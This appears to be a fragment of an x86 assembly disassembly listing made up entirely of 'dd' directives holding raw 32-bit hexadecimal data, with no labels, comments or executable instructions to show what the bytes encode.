		dd 985A21AAh, 0FC724680h, 540125A4h, 870CA39Ah,	0E5F8AFF5h
		dd 5CAD001Eh, 0C94E605Eh, 0EA00A9AEh, 96517125h, 0BBC856h
		dd 0E4AD998Fh, 8BDA3E33h, 0DC903C00h, 6B0F13F3h, 1AF50086h
		dd 0B69CAC58h, 0AF077C71h, 0E8FCF062h, 0C0C48070h, 756B79EEh
		dd 0A89400DCh, 657CC1EAh, 0E11D48B3h, 0ACC93E81h, 0FD3780D4h
		dd 5AE36Ah, 0EBA3A28Eh,	94F2211Bh, 0CED7130Fh, 68916CA0h
		dd 0C57C0086h, 814A3603h, 45ECB40Ah, 394B0D0Fh,	8F1CCF37h
		dd 95ADA089h, 0DE8A32h,	10641E2Eh, 0B5A23BF9h, 0DAB93Dh
		dd 5A6E49EBh, 0EA1AB2h,	25654C7Bh, 0D4A9AF09h, 0F7011700h
		dd 0E1F29B4Dh, 44520010h, 3EAAC412h, 86004115h,	469FC00Dh
		dd 37C768A5h, 2148F313h, 70C181A1h, 94002729h, 1D6F2FE4h
		dd 41D199h, 0FE71EF84h,	0D680EA47h, 639A2E00h, 0FB154F6Ah
		dd 0F12A00F3h, 0B882CAA4h, 14007D24h, 7F3EDA1Ah, 2ECA56Ah
		dd 47C47454h, 6449CF6Fh, 63B0F470h, 551E769Eh, 0CFD8C80Eh
		dd 7CCCA0FEh, 0A1D7D5C4h, 0B5CC6D90h, 2D680EB6h, 35C09B41h
		dd 8F107952h, 8AE480C0h, 1C0665C9h, 0C1F4D0B3h,	28A6A7B6h
		dd 2E01D4B9h, 9017D600h, 0C52704ECh, 0AA050082h, 0EA1B121Ah
		dd 0CB72BFF9h, 0EB56AB03h, 0E82297D8h, 0E0A30DD6h, 0A0650053h
		dd 55C992AFh, 93000BB6h, 0AEA4BA44h, 0FD1FCC7h,	5B1D6132h
		dd 0D295EDE0h, 0E900FD9Dh, 5F839AECh, 3FA32572h, 0A2B0D165h
		dd 548492F8h, 0BF980304h, 5C80F9BAh, 0E2DF80h, 0A02BFC5Dh
		dd 622C34CCh, 15AD1600h, 0A5F5B730h, 66560351h,	7AD32146h
		dd 0D0382F81h, 5D059179h, 0ECBB7D60h, 0C0510A80h, 6D410F8Dh
		dd 0B721AF71h, 0D0CC9B94h, 4B00F47Bh, 0DFDBAD98h, 39F0BC7h
		dd 0C2AB09CFh, 74813E4Ah, 9C20804Ch, 0DDDB12FCh, 1F3300CFh
		dd 0C695A7A4h, 501C4AAh, 77B7441Ch, 8FD82D27h, 0D02238F5h
		dd 0FA0C4687h, 0D12745h, 7C2F1462h, 0B2470503h,	803B5B11h
		dd 6126F0h, 452B9307h, 6AF98131h, 75A1FD00h, 0EF21D87h
		dd 967903A5h, 0CCDE82AEh, 84701BD8h, 0AEE6500h,	0E847B144h
		dd 337F0CE0h, 51B0762Dh, 66003C90h, 0D53977F4h,	460ADCh
		dd 0D44FF57h, 2C32BFEFh, 9A742E2Eh, 4AD3C800h, 289AB0h
		dd 5F4C076Eh, 8C2B65A4h, 63BD072h, 9E586176h, 9FB54FAh
		dd 5A0CCD1h, 0C299C407h, 0BDE16643h, 0C99CFC68h, 7BEB2400h
		dd 0D411694Ah, 1A600206h, 0C8C518E9h, 0E14EB040h, 835EC93Dh
		dd 4238BA45h, 5F4A033h,	0B7C40002h, 780848EBh, 6207CE43h
		dd 0F01387D8h, 556393B0h, 332B005Bh, 0AD748AD7h, 5A0016A9h
		dd 0F7F40A4Eh, 5C8C89F2h, 0E2077621h, 90C4CAFCh, 0B6D33275h
		dd 9BE77707h, 9670A328h, 703801h, 0A147ED54h, 0CB755D7Dh
		dd 0A04FF300h, 4B6268BCh, 3DF828h, 3EFE1497h, 710234C4h
		dd 0A70E50F4h, 0CBB9A864h, 0E902050Eh, 625D4480h, 0B3C3004Ah
		dd 8B4BA1F9h, 0AE0043ACh, 599FEDE4h, 17C87C5h, 4A898015h
		dd 6139B37Fh, 4C5CE462h, 0C8B68200h, 4E0FD960h,	52E00997h
		dd 0F480A8CAh, 0B52CD172h, 4CD4F704h, 8C0DABDh,	5D5E55h
		dd 449998CEh, 0D0EAE3D7h, 6D654E12h, 0DFCFCB00h, 296160Eh
		dd 0B6FC4509h, 8C2A9A5h, 1144D4C0h, 85EAE203h, 3AA1EF1h
		dd 1BD74318h, 0A0F807BCh, 0A400B31Ah, 0E1854F7h, 239D14Dh
		dd 0B249558Fh, 0F183FD36h, 8D8F006h, 0F003B4Bh,	4FADE9EAh
		dd 75F10759h, 0BE77BCh,	0A782D4CFh, 3068536Fh, 240C3958h
		dd 3E000279h, 2B2A0D3Dh, 499203F8h, 63CCD56h, 0DEE0E000h
		dd 3676F6DFh, 1D389017h, 40A34BBFh, 910C498h, 2AB04573h
		dd 75DA2CA0h, 0DCDD7803h, 80E6F3A5h, 4C5DD0FBh,	3B0054FEh
		dd 0B7573E95h, 0E00064AAh, 8E576A6h, 30FE9E98h,	5410A771h
		dd 0B410FA94h, 0D800A2AFh, 8CB63207h, 9E6019ADh, 0F60D4268h
		dd 0E6E6E8F4h, 959A0021h, 0EC8B8FE7h, 0BD00FF0Ch, 6CC0EBB6h
		dd 1390B06Eh, 0B830313h, 23809ED0h, 7336331Dh, 0ED76101h
		dd 0FD03ACAAh, 0F702020h, 0A6EBA446h, 702D2BC7h, 0E69B9C7h
		dd 8D9F3Bh, 44FA809Ch, 58A2E6C9h, 280E9716h, 5B80173Fh
		dd 4813DE01h, 8C146B00h, 0E9DA0B82h, 0BD02002Ch, 0F2D47A8Ah
		dd 4679F4F3h, 6A6F7200h, 18CEA110h, 98BF281h, 0CB34407Eh
		dd 0BC5CF800h, 9D50DAEBh, 0BEEE76C4h, 9A1D3518h, 2D40510h
		dd 0A9A1DD7Dh, 6C601BBFh, 9300E298h, 29864659h,	361C28h
		dd 0E883BD06h, 75C89270h, 0E1F50500h, 0D37B5908h, 1F3274EEh
		dd 0A648CFCAh, 0C42D0005h, 3B45D109h, 0AD002E98h, 9FB7B35Fh
		dd 38D8F4Fh, 0B09BA8A9h, 68881A12h, 5E7C73CAh, 4BD7071Dh
		dd 19DC6780h, 1E6E0DCDh, 0BC790F6Ch, 24555D81h,	0EC5C5AFAh
		dd 0D00E156h, 0FDE8BE0Eh, 281FAC5Bh, 0D088B7h, 178E6152h
		dd 0B54203C0h, 0E600B7B0h, 0EF909A07h, 3524F2h,	0A40E48E3h
		dd 20687DBEh, 4510971Dh, 540D4C40h, 90F1DC70h, 1EB50263h
		dd 0BD4DE1B0h, 893D78E0h, 0E200FE90h, 0C6547DB2h, 5E3E7EFh
		dd 42115EB0h, 0BEF1C04Ah, 0B300F949h, 0DA604EC7h, 5F4276Fh
		dd 2981778Dh, 0E881C0CEh, 0E70C3CF2h, 60A96128h, 3D390FF8h
		dd 8A21CC36h, 832F1673h, 0B5E8E2F2h, 5360005Bh,	0C9C40A9Dh
		dd 0AD03D71Ah, 0A20FE49Fh, 0A0A3E9BAh, 7DE88C8h, 58F68144h
		dd 0FF79F12Fh, 4F18FC0Fh, 82013571h, 0BE0144ECh, 807F8C74h
		dd 0B8E92C6Fh, 0F3F27377h, 0E3329E00h, 8133D763h, 0BA4700FAh
		dd 0E9A35F5Ah, 8E009A55h, 0A8542DDEh, 3DFAC2A6h, 0C9896E2Eh
		dd 5440C30Dh, 9B006B67h, 7A4285DDh, 4DBEAEh, 7287C834h
		dd 335E2D71h, 0B402F4Ch
		dd 80B026CCh, 0C4AC5180h, 0B5890775h, 0C6A4F6h,	825E19BFh
		dd 7C7A4900h, 0F1F20579h, 699A63A5h, 89D8972Dh,	0A312697Dh
		dd 24001D15h, 2A7708F8h, 0D6650004h, 7EBC07AFh,	920091E9h
		dd 0C997A99Eh, 17F27C85h, 1C1EFB6h, 381E9C17h, 0CF6EF004h
		dd 0B5BE1700h, 8A976F52h, 3DFD1EDBh, 30D1078Dh,	92AD800Ch
		dd 1D1FCAC7h, 0EFC016FAh, 22A914B9h, 51081D23h,	0D8F3405Fh
		dd 0FD2CD4E8h, 6A779000h, 0BB68B56Ch, 44530098h, 4980E478h
		dd 0C500B97Fh, 5C03ED04h, 9662E8h, 0C49ABE61h, 0C773EA1Fh
		dd 0F479FF2Eh, 64E75E00h, 7367E898h, 0F7798Eh, 0B5956A4h
		dd 0F342B770h, 0BFFF0403h, 880EE9ADh, 0CF297Ah,	782DBE5Ch
		dd 61C816C4h, 8E005BECh, 5F487B18h, 9DDBA46h, 67A8FCE7h
		dd 0E406007Dh, 0E08696EBh, 88D000E2h, 956CDB0Ah, 3EC7D72h
		dd 1C13A002h, 80C08A1Eh, 2EAEC8B8h, 385373A3h, 734439h
		dd 454D8D71h, 0B5967233h, 0F11A0500h, 0E72A59FEh, 0BEFB0046h
		dd 17F327FFh, 0FA00A765h, 1D48FDD5h, 0DF823Eh, 1C966AADh
		dd 0F72FEAABh, 0FF946E00h, 5F17C9E8h, 395C00D2h, 0CAB2F965h
		dd 0B70EFBF8h, 60BF40B8h, 412FD6ACh, 0D575A6h, 0B5864938h
		dd 69E0EA75h, 0DE466F00h, 0CF775524h, 623E001Fh, 41AD1DA6h
		dd 4F1E590Bh, 5840706Fh, 197E0955h, 9E970B48h, 0D500022Ah
		dd 0B12B78E8h, 0E700C27Ah, 1C8F951Ah, 3889DAh, 0D4BCFF28h
		dd 0A2FE55F6h, 6EE8400h, 0D102F2D6h, 69980B4Bh,	7D806034h
		dd 6F569724h, 22348161h, 3B20466Ch, 78073E3Eh, 648C6B00h
		dd 0E21D669Dh, 16063Ah,	43264D0Fh, 0F6E03F0Bh, 0ED3609C8h
		dd 0A40022C4h, 93086531h, 0B90E7071h, 609856BAh, 12C29474h
		dd 5ABB0105h, 0DAA5585h, 0ABFBF013h, 8A77160Ch,	34C88Bh
		dd 9051C0E1h, 3A9B1D7Eh, 50AAFB1Eh, 609ACCC7h, 0E618F3h
		dd 40AE3CE4h, 0F9CFE5E7h, 30094Dh, 0CCBD865Ah, 15487Fh
		dd 173A1970h, 22DF80AAh, 0A212B102h, 806813A3h,	0F0C4E0E6h
		dd 0BB50099h, 455D10BCh, 0C600F6DCh, 0DB41C3A8h, 0FA43A6D1h
		dd 1C68FC25h, 0F00374h,	90358B5Fh, 1400A3E8h, 0FA4D752Dh
		dd 71A652h, 284793ACh, 725670Fh, 0BF04913Dh, 0E59796A3h
		dd 6BE707BAh, 37FF50B4h, 742C2507h, 61001121h, 6AEA200Ch
		dd 4EB94B78h, 63C09F34h, 0FF11E370h, 2F85C20Ah,	32079C73h
		dd 17B6ECAh, 5C3D51B8h,	81224C80h, 66475746h, 0E5CDC60h
		dd 9554CDh, 0F0FA8C62h,	925AAC42h, 0F58D5B00h, 7DAA3CF6h
		dd 78612AEAh, 0EE0C109Ch, 0A69103B5h, 981D84F2h, 4C72FD39h
		dd 97007C90h, 88CA06FBh, 0F80056F7h, 0C97BB82Dh, 0DA0995h
		dd 13D64A9Ch, 2EBB3E6Dh, 86684700h, 3DAA49B0h, 0E2D70188h
		dd 51D59D04h, 0E2D4D981h, 29053850h, 5384924Fh,	0D244B501h
		dd 1670DD63h, 0A91D0E8Eh, 85A58B35h, 92D40054h,	98039926h
		dd 0A42A6F00h, 94EEF318h, 0E6400041h, 0AD3C95F9h, 5F003017h
		dd 9B4269BAh, 5CCB89h, 0E1A88109h, 791544DBh, 0F6BDB900h
		dd 5D805AB0h, 0D3FB3B16h, 93004C4Ch, 0B501DF96h, 6600CE28h
		dd 0E5F21B85h, 75A8277h, 0A6CDE3E9h, 284E10FEh,	7301D844h
		dd 52C5EF64h, 46DC5A55h, 49E60922h, 0A883DA93h,	3E801E98h
		dd 9F714EA9h, 0B3004BEEh, 8541E0B8h, 56634A5h, 0A7B4869h
		dd 0E6C80045h, 5ED9CA8Ch, 979CEF00h, 52634A4Ch,	0C2280044h
		dd 0B2F5F25Dh, 670B8DA1h, 40AB6CB5h, 1C86B070h,	7CA5E639h
		dd 0A4DCACh, 0BE4ADE94h, 827171B6h, 0E10015F2h,	0FCE319ECh
		dd 4EEE51h, 0F3286D9Ah,	0EDD8E2C7h, 0DB09C01h, 0CD8DF529h
		dd 0EFCEFCh, 40C2B826h,	20DC4D81h, 3876F200h, 58C1CD9Dh
		dd 0D5790017h, 0A874227Eh, 10EB246h, 46F7CB4Bh,	7D30D814h
		dd 0EC373A1Bh, 3985AC80h, 0FFDB3106h, 0AD3DDD01h, 515845EEh
		dd 793AFE40h, 7AD0742Bh, 806C9EFEh, 337DE642h, 0EE60906Fh
		dd 14C41096h, 6CAD3898h, 32F9A280h, 3E1BCAD7h, 7D686E00h
		dd 0FF012292h, 0D17500F8h, 0FAB2E27h, 230CC3F3h, 702F3E87h
		dd 59D80BDAh, 0C8604F50h, 38003684h, 0F644F585h, 0FE0D7609h
		dd 734F02F3h, 0F777FEA8h, 648E009h, 824B0433h, 3DAC109h
		dd 0DBA05B54h, 9F390075h, 9CCECC8Fh, 4EF85307h,	0E5962203h
		dd 3C3CBF11h, 0DBE25C0h, 0E3895D00h, 3F5CFA70h,	0CF8BF705h
		dd 4C80599Ch, 0FEEEA5h,	11D97383h, 2F4D2543h, 1A7E2D00h
		dd 151ED34Ch, 890E1E24h, 5ADDEEh, 766C02CDh, 0AB00A7E5h
		dd 273A8ADBh, 0EEF6D709h, 77F90041h, 0DD5C029Fh, 0F41ED3E4h
		dd 7406F6Bh, 15492CA3h,	80660076h, 0DF53743Dh, 0F40041B6h
		dd 9CC08E05h, 3D06E4EBh, 82989D51h, 661A32CFh, 75B68100h
		dd 6CCEFE5Ch, 816009Bh,	9E65E498h, 6070C74Fh, 5DDEFA1Dh
		dd 31FBA780h, 1F057ED9h, 0C0201144h, 0E66BF2E3h, 0A10E8D4Dh
		dd 2B88BD40h, 0E56C804Ah, 0D1C619h, 0E047B23Dh,	0C74B0FEFh
		dd 0B90DB801h, 55FCDD6Dh, 26EACB70h, 1D73922Eh,	6F5BC788h
		dd 5335C0BFh, 39E65096h, 0F0EB1DB0h, 3F00C383h,	271C5ABAh
		dd 0E36774h, 4F6408F9h,	85DC258Eh, 0E801D400h, 0AC750D36h
		dd 0EBC1001Dh, 0A27DB455h, 0BC0067EEh, 49878FAAh, 1BA853Ah
		dd 0D522C191h, 87FFD7A6h, 7FEF8821h, 838F00A9h,	111843Bh
		dd 6CBB5A75h, 0F118B158h, 885880BFh, 0CAD0AD69h, 0FDB400B8h
		dd 0E4C12F6h, 680E8451h, 3C2CA613h, 3DE649CEh, 4D3EF1C0h
		dd 90F0787Bh, 0B975034Ch, 0D1CC0B62h, 80A385AFh, 0C5FCF62Dh
		dd 9E01B70Fh, 981D209Fh, 8732B1h, 0AD8E31DBh, 8A3413FDh
		dd 8920DE00h, 0BF05F7C1h, 0A16A16E8h, 0CA6802A4h, 6C409478h
		dd 0D400EF4Ch, 0DBFBB2B8h, 5804DCA7h, 8D0E1C85h, 0DA1EE1Ah
		dd 0FC83D0D2h, 0E91C9F2Bh, 61401EA7h, 0FCEF0A4h, 0E76F2CDEh
		dd 656A007Eh, 0A8AA1295h, 6400E090h, 0BA05F645h, 0E339049h
		dd 8B3AD4DFh, 0E900F36Eh, 0A22C03EDh, 0E168B500h, 0ACBEF457h
		dd 84AB0009h, 0D3B7913Dh, 5A0B6B37h, 154F1Eh, 28943A7Ah
		dd 0E0D960A3h, 806CEDE0h, 0F5F89DE2h, 0AC2CF800h, 0C9A0F2AEh
		dd 3C177515h, 40E17059h, 0CC2C2B44h, 1B17D404h,	68045611h
		dd 9E00779Bh, 4263B31Eh, 191CFC00h, 0B5F86A08h,	22C30005h
		dd 88791213h, 78004285h, 0F07E3138h, 265516h, 67FDBF69h
		dd 102B2201h, 5E723702h, 83F4E5h, 65327198h, 38001971h
		dd 0DAE8E991h, 2F52A1h,	0E2617D30h, 1474CFE3h, 6F04F509h
		dd 8854609Dh, 0B93107C8h, 0D0FFE4F8h, 380C2229h, 1F5CF100h
		dd 0F4CB87A8h, 1A2C1C26h, 673380A5h, 0FB904BAFh, 86EE6500h
		dd 6A619DAEh, 1D5992FFh, 6F39CFD8h, 29DC2402h, 94045C60h
		dd 1AF19A00h, 0F7F4C2BFh, 4C1972B1h, 8400847Ch,	0BAFFB06Ah
		dd 1401A2D3h, 863CDC8Ah, 0C03B1C43h, 0CDA5A63Bh, 803BA32Ch
		dd 63380E9Ah, 0DC90C880h, 325B00C4h, 0E0630691h, 2103346Eh
		dd 4E16BF19h, 0A201C705h, 5900A3ABh, 5C4E6865h,	0F43BC0B8h
		dd 6380E58Fh, 0F17364C0h, 8D06B7B9h, 0E4A0E9C2h, 7B340068h
		dd 2143837Ch, 1D005FACh, 5191C16Ch, 7F623EFh, 0C33C86B7h
		dd 0C0535177h, 0F6CE475h, 99A48D00h, 2AB29A54h,	1875A8h
		dd 167281CBh, 0AA3B483Dh, 0F755A00h, 0AB888B9Ch, 2469987Ch
		dd 1284CF7h, 4A179F8Fh,	0E8C8C618h, 41002639h, 0F3E2E8FFh
		dd 9DF9835h, 0FC01CE8Ch, 6B64E080h, 0AA00A850h,	0C1D991A4h
		dd 844316h, 0E7625F9Ah
		dd 0F28B7D79h, 39F54C00h, 8C92FB6Fh, 3A0900EBh,	163EB9BCh
		dd 0FA001924h, 0FE1499A9h, 1589C05Ah, 0A0B0AE04h, 73312D00h
		dd 98D57E21h, 3C1B48h, 0EC2FCC18h, 0B5E8D8h, 0FEF21E4Fh
		dd 4A119CD1h, 16176C72h, 1F07F333h, 73008BDCh, 0E2A975E9h
		dd 61FC4CBAh, 0A5DDD100h, 88049C22h, 80BF283Bh,	7268FA23h
		dd 8D65B6h, 54451B13h, 9941D0C0h, 6D000AF4h, 0DBCFC393h
		dd 0BADEF5h, 230E01BBh,	0EF8B35E1h, 64E46E1Ch, 9C200700h
		dd 7422131h, 35C88734h,	0D30B50C5h, 0EA031A9Fh,	3F3EAC1Ch
		dd 0D8F0BCB6h, 460100C2h, 0BA7939B1h, 0F5258CF1h, 0CF7440F0h
		dd 2C231D18h, 2D570012h, 19276B29h, 3DC4A050h, 520A9D76h
		dd 9C4D40C5h, 8924200h,	3B1A303Eh, 6D892123h, 0D2807DC7h
		dd 7851404Fh, 503F207Fh, 7BC6074Bh, 0EAA03783h,	4D36319h
		dd 801F36CFh, 0AA01800Eh, 0AC071A27h, 0D58DE2Dh, 7C301C50h
		dd 0AFB40653h, 881BDD63h, 99910109h, 0A452D1h, 764E83Fh
		dd 9D10B5C6h, 0C0B1E4Fh, 16D5405Eh, 675B00C8h, 0E9E6596Bh
		dd 3F07EFD6h, 7A4713FBh, 4B8342E0h, 5A98A0D3h, 58731FD5h
		dd 0EDA902F6h, 74E3E25Bh, 6A343980h, 101F7B00h,	6C764E89h
		dd 118D0121h, 2C40FAF2h, 0CCCFC87Ah, 13C89F1Ch,	5AD18381h
		dd 0FFFCBA0Fh, 8AAA01B3h, 0DBB7A962h, 0C369E0ABh, 14722498h
		dd 0A6920E00h, 0B879E245h, 674F04B6h, 0C0CDCE08h, 0A8246A1h
		dd 0DB78BDh, 94A206BDh,	951AD241h, 3E0011E0h, 0EB572D9Dh
		dd 8407E5h, 3694E49Eh, 0BFFA98Fh, 0BD01C371h, 8EF7D3FBh
		dd 69DC5142h, 57464909h, 34709A00h, 136A3EC7h, 0AABDDCA0h
		dd 0EC12D4B0h, 1C00A428h, 0D90DCC38h, 24343E9Ah, 0B5C40B80h
		dd 46F6D11Ah, 57B32700h, 80BA5E7Dh, 0BF4300FAh,	0A38837F8h
		dd 9B016093h, 6A950917h, 0E5C4ADD5h, 0CEB7BACh,	94C50BC7h
		dd 0D6006918h, 0B15A45F5h, 1E86DBDh, 0B5EBD3E6h, 0C410DCA6h
		dd 0D5EEE9FAh, 1878AA00h, 678E444Ah, 0C9DA00AEh, 6E70BC2Fh
		dd 400B9587h, 33DF88Bh,	88397A4Eh, 73AEC2Ah, 0D3591D9Ah
		dd 51DA6075h, 0D50383A9h, 0B58746FAh, 0B02D83C9h, 6A6B23h
		dd 531219Fh, 853E2248h,	0A65B1438h, 0EB858CC5h,	94004179h
		dd 7F878ADCh, 193607DBh, 3266F93Dh, 0A840CD80h,	6202D103h
		dd 768A5EDFh, 88FA77h, 1AD76472h, 3CC044E0h, 5B5630C7h
		dd 7E7BFF40h, 0AB900019h, 77554247h, 0E8E9B4CBh, 480EFE03h
		dd 0C32CF709h, 0DFA8DFDCh, 0E6511280h, 36160FB1h, 5660FAB9h
		dd 8683654Dh, 0E52C383Bh, 4A805460h, 0DB947Eh, 0B4BAD8A0h
		dd 17C4AA01h, 0BD822839h, 0B3FEFE5Ch, 0F000BE4Ah, 7E804004h
		dd 0AB43001Eh, 0A949E195h, 0E3125EEAh, 0D0C87Bh, 0EBAFE68h
		dd 0DFBB6D4Fh, 0E02393C0h, 0B701172Bh, 0B35B192Ah, 88970EACh
		dd 4B6445D1h, 1EFC00E6h, 0B875697Ah, 48F4D80Eh,	0E0C2AB59h
		dd 449E6F4h, 1CE35702h,	20DCE15Ah, 0B17B54Ah, 0B8074323h
		dd 914052C7h, 7645F62h,	25D6A5E4h, 0F68810DAh, 0EA00C12Dh
		dd 42865CE6h, 0CD2AA96h, 7438A109h, 0E200CB48h,	0D0B0783Ch
		dd 0EEF22A0Fh, 2A41214h, 228500AEh, 64F8C2FBh, 38FDBD00h
		dd 78549070h, 0A18D3B49h, 4E010A06h, 0EB00A0AFh, 8943CF05h
		dd 39D2634h, 0E2DFA3F2h, 3E821F4h, 0FCE92A0Ah, 85000BAFh
		dd 0EE863536h, 0F87E101Dh, 1CD20047h, 0AF460AC1h, 0EC00B743h
		dd 811619A5h, 1386C823h, 0B61012h, 0E43E35A6h, 9B00443Bh
		dd 0BB7F6876h, 0A56D7Eh, 86947A11h, 9C9D521Eh, 0C0001A7Dh
		dd 0E42FEDF1h, 308A4Eh,	90FDB399h, 7A6A13B7h, 4003C600h
		dd 0ABA8834Ch, 7CA00ED7h, 36FD52h, 1166B568h, 0AD78BDFEh
		dd 9F861804h, 28C325A1h, 0F83B9B35h, 200F6Ah, 7662FE40h
		dd 866C275h, 6DAF4C09h,	0ABA02121h, 2C73DD29h, 58704B00h
		dd 81027CB4h, 0FE225607h, 0A70939Fh, 0F4686634h, 9E6C90E1h
		dd 407C1C54h, 320E2DADh, 7603E09Eh, 4788BF3Ah, 0C6F0C8CFh
		dd 0DB50F20h, 0FE52FEh,	0C306EC69h, 0BB0E5FFBh,	568E4CB8h
		dd 0D2CA1305h, 0E26AAD80h, 0E6770016h, 45F9E960h, 1BE22986h
		dd 36C32F17h, 0ECC07817h, 7B37ABh, 238AEF80h, 0A5A41E35h
		dd 0A7219602h, 0F858DAB6h, 1F383874h, 53872080h, 0B39C0759h
		dd 7677B600h, 2699B270h, 61DEA9Eh, 0ABDEE4F6h, 4100A8EAh
		dd 38C91C8Bh, 9079719Ah, 55FF0079h, 0E183C466h,	2403A4C1h
		dd 0CB2C74FCh, 17A18869h, 3CF600F8h, 9931D5EDh,	35004530h
		dd 0BFFC03CDh, 7D70DC08h, 0D6060332h, 56A0B648h, 8B7AD990h
		dd 8CF01901h, 34585224h, 7C84FC4h, 0D45616EDh, 4072B733h
		dd 4BEE4A35h, 5F83A700h, 0CFDA58ADh, 0BA25009Ch, 0E6E24306h
		dd 8A0321D4h, 0FC129768h, 92800F1Ah, 0F180E39Bh, 7B3D6D3Bh
		dd 0FCC26C4Eh, 94CD227h, 7E7809E0h, 91E9270Eh, 473ADC40h
		dd 0D80B8202h, 63E30D45h, 0EA53B0A0h, 47049ED9h, 0AA240323h
		dd 0F169EBF9h, 6663D83Bh, 2C77E90Fh, 0A3C9A4B2h, 3E01C0ACh
		dd 35B8FD89h, 0C4DA31B6h, 0CDB03B8Fh, 1CF0D400h, 0BA442A6Ah
		dd 18F49007h, 1029D087h, 5B000EAFh, 794B0B43h, 0C35D85h
		dd 8C41E15Ah, 4E209ECCh, 49BDDB01h, 0D0CE79A5h,	3BF8DCh
		dd 932CC943h, 67C522CFh, 0B5462000h, 6DE4ECB8h,	0F6AA000Eh
		dd 0F4FAE7BCh, 9805731Fh, 0A9F1079Eh, 0BA40901Ch, 0A0929B15h
		dd 88E001A2h, 61CA10Ah,	0CC402048h, 4ADD0900h, 58C97E62h
		dd 380A3A74h, 0DB13D780h, 0BF0C204Ch, 0EE917D12h, 9D966601h
		dd 6E707963h, 0CD220058h, 5B59A150h, 0AD007609h, 8C9D4981h
		dd 9584485Fh, 469CAC01h, 8908B2h, 0EDC9F9C1h, 0F2213ADAh
		dd 370FB5Ch, 0AF577F8Ch, 0D01AF8CEh, 0D7000B6h,	6FE688A4h
		dd 2B00C187h, 3F7E8F98h, 9565E1h, 104350D6h, 0E7B2470Ch
		dd 0AB04277Ah, 4A3378AFh, 770038A8h, 0F160B3E8h, 5A0C99D2h
		dd 3009833Fh, 8C43482Ch, 944C007Dh, 0C6A38D9Ch,	563DF651h
		dd 0FF60F699h, 9119AB8h, 2209089h, 0BDB3529Ch, 0F8E0566Ah
		dd 9901819Dh, 13F7D771h, 77306C0Fh, 5DAE3F46h, 0B048C45Ch
		dd 826B1106h, 0E571ACA1h, 0BC768400h, 0FB8C146Fh, 6269C1C8h
		dd 0D2263D6Ch, 71011AE3h, 44059A94h, 2ACC8C74h,	8D4A00BEh
		dd 3ECE7530h, 0D95CF791h, 0DECC2D5Ah, 594831A5h, 0F80CC474h
		dd 0F6005C79h, 0F4970EE7h, 4A4107AEh, 107C48AAh, 0CEC9240h
		dd 1F57048Eh, 80AC792Ch, 405C1258h, 63EF010Eh, 0BC807CD3h
		dd 65EA1ACBh, 10A559E2h, 5EC98030h, 1B090857h, 82CF791Eh
		dd 0C9952678h, 50A6ABB4h, 0B5397B4h, 0B4230CFCh, 0D0A00366h
		dd 0F2001B8Bh, 3164676Fh, 342116Bh, 1696FFCCh, 1D1BD4Eh
		dd 2540FC5Dh, 57F19D00h, 0CBDBABB4h, 68533BF7h,	5DE0B784h
		dd 727483C0h, 284B4000h, 651F9A4Eh, 68790E56h, 32C04AD2h
		dd 0BDD5B4E9h, 0E24FAA00h, 30601910h, 358F42Ah,	0B9A83C6Bh
		dd 7981CA39h, 0EF0068F7h, 4A92DB23h, 0B1B7CCC0h, 9C98C04Dh
		dd 0D75D417Eh, 0ED6E1100h, 5FD9D549h, 73C0A82h,	0F88F54h
		dd 0CE9003E9h, 5B0FDDC7h, 0E032ABF8h, 1BEC78D4h, 0F69F0421h
		dd 0EC4225DFh, 56F70434h, 0CC07BFFh, 0B6ED74h, 41D14914h
		dd 5D71F52Bh, 0E603CC01h, 0C520877Ch, 0F1B7D0h,	77DECD0Dh
		dd 0C0C62CE9h, 0C267B601h, 3731F583h, 4C1B59E8h, 10099C3Bh
		dd 0E7006D0Bh, 5011363Dh, 20989754h, 0D972A801h, 3514A90h
		dd 4828ECC4h, 70044F6h
		dd 0B6299B4Dh, 5900B096h, 7E2A12A6h, 1558Eh, 300C2595h
		dd 26BA3AB1h, 4DFA1900h, 5718FB99h, 0E9581C6Ch,	80D01729h
		dd 1C67438h, 0F2CF7303h, 98C1674Ch, 0E565D7h, 0FD61D4E2h
		dd 16CEA823h, 44811A4Ah, 0D06017E7h, 938A02CAh,	9C8F077Ch
		dd 4960F1E0h, 4B06EA07h, 57E248B0h, 0C0BC809Bh,	58477Bh
		dd 0BBE4124Ch, 0F968DB7Dh, 0D866AA0Fh, 4F34Bh, 0ECC0E3F4h
		dd 17C4083h, 697ABBB0h,	3AD42C11h, 0B1700Bh, 2B07D854h
		dd 2C10312h, 0BE45D65Ch, 0E9EE4000h, 82D40520h,	0C8BB0503h
		dd 0E262A188h, 0A72C0760h, 7C90DCBCh, 4C520546h, 0EF077004h
		dd 3002F5E9h, 43250D96h, 0D8C90600h, 0FF6291CAh, 347A0C86h
		dd 5A68D930h, 92336B00h, 4B7CF220h, 89610072h, 9BAA57CDh
		dd 810154B5h, 0CFA4EAE3h, 0A46DCC78h, 0D7905000h, 0A09B857Fh
		dd 0D15F6A00h, 6FE59FD9h, 259900EFh, 52C46106h,	8228B66Eh
		dd 7C1DF058h, 0B180516Ah, 0D91B5FA5h, 301401ECh, 4AC1E2FAh
		dd 3D03F13Bh, 807339BCh, 0AD746E16h, 0F24519F9h, 1D280030h
		dd 7A8AE318h, 3FB08BBCh, 18431C26h, 0C07EBF00h,	78D7B3E7h
		dd 4B0898A4h, 0C8A41E3Eh, 6440DD71h, 1B9C9Dh, 896C6ABAh
		dd 0B5F8A099h, 0FEBFCB00h, 80666FAAh, 0AE230111h, 41152EB8h
		dd 0CBF2F495h, 0C3373F00h, 4683E464h, 0C9720735h, 205DE888h
		dd 3ABEF650h, 5402D5E0h, 0F3DBFBA3h, 5C80FF3Bh,	22CDF19Bh
		dd 4BEA59EAh, 66954Ch, 0BAB83A01h, 38121003h, 70802BC2h
		dd 945D920h, 9D96FBh, 0F6DEAF9Ch, 970F00C6h, 3058EA1Fh
		dd 6900B9CBh, 0CD8F9D44h, 0EEBF82A6h, 29A01EC2h, 7057AA3h
		dd 80497943h, 0A865A270h, 3D7B3F04h, 1091AF5Fh,	94741F6Eh
		dd 0FEF712B7h, 40E4F5D4h, 8CEDAEF8h, 3D026D02h,	403646D9h
		dd 1EEEB1Ch, 9C704C1Fh,	806E070Fh, 0C250A240h, 13E54D9h
		dd 0C37306B9h, 68EA3036h, 20F9117Ch, 0C98F3909h, 3228A801h
		dd 806EF1EAh, 0EE650B11h, 709EF8h, 502C380Eh, 9A20A89Fh
		dd 18C14238h, 0F648FCCDh, 0A3B409B9h, 0CC06A0E6h, 20B840DDh
		dd 93906260h, 0FE24CA9Bh, 0B2EB5CC9h, 74A5AA00h, 0DA94B021h
